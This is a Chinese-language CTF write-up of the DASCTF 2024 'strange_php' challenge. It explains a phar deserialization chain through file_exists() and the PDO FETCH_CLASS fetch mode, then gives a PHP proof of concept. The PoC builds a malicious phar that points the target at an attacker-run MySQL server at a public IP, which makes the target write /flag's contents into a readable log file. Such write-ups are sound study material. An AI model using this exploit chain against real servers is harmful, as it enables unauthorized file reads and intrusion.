DASCTF 2024最后一战-web复现

参考文章

strange_php

首先看到welcome.php的删除评论功能点可以自己传参文件名$message_path,跟进deleteMessage函数

传入后加上了.txt后缀,并且使用了file_exists()函数,这里可以联想到phar反序列化

紧挨着delete函数的__set魔术方法中含有file_get_contents()函数,并且能输出到已知的目录和文件名

_set由给类内一个不存在的属性赋值触发,由于PDO_connect.php给了我们数据库的连接参数,我们可以尝试进行覆盖来连接到自己的数据库

这里参考大佬给出的方法:
如果我们将ATTR_DEFAULT_FETCH_MODE指定为262152,就可以将结果的第一列做为类名, 然后新建一个实例,在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set方法。

这里提到的 262152 实际上是 PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE 的组合值(PDO::FETCH_CLASS 的值是 262144,PDO::FETCH_PROPS_LATE 的值是 8)

  • ATTR_DEFAULT_FETCH_MODE设置为PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE(262152) 时,PDO 会执行以下步骤:
    1. 从结果集中读取一行数据。
    2. 将该行数据的第一列的值作为类名。
    3. 使用该类名创建一个新的实例(通过 new $className)。
    4. 调用该实例的构造函数。
    5. 遍历结果集的剩余列,将列名作为属性名,列值作为属性值,并尝试将这些值赋给该实例的属性。

因此我们可以在数据库新建一个UserMessage表,并且更改filePath的值,再加上一个不存在的变量(password),即可触发__set

User类中的log函数进行了数据库连接,这里就是入口

他还提供了数据表名,用户名,密码从而指定从哪一行读取,上面的PDO_connect类指定了数据库

在云服务器创建数据库如图,filePath一定放在password之前,否则会被set打断无法赋值

记得创建一个joker账户,授予全部权限

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
class User{

public $id;
public $username="UserMessage";
public $created_at;
private $conn;
private $table = 'users';
private $password="aaa";

public function __construct() {

$this->conn = new PDO_connect();//连续触发多个类的反序列化

}



}

class PDO_connect{



public $con_options = array(

"dsn"=>"mysql:host=47.237.137.220:3306;dbname=users;charset=utf8",

'host'=>'47.237.137.220',

'port'=>'3306',

'user'=>'joker',

'password'=>'joker',

'charset'=>'utf8',

'options'=>array(PDO::ATTR_DEFAULT_FETCH_MODE=>262152,

PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)

);
public $smt;
private $pdo;

}

$a=new User();

$phar = new Phar("ppppp.phar");

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>");

$phar->addFromString("happy.txt", 'happy');

$phar->setMetadata($a);

$phar->stopBuffering();

$file_contents = file_get_contents("ppppp.phar");

echo urlencode(base64_encode($file_contents));

之后进行反序列化读取(报错是正常的,phar协议不可删除文件)

访问/log/0bc7be346d4df269543565b6b7cd231a.txt 即md5(/flag).txt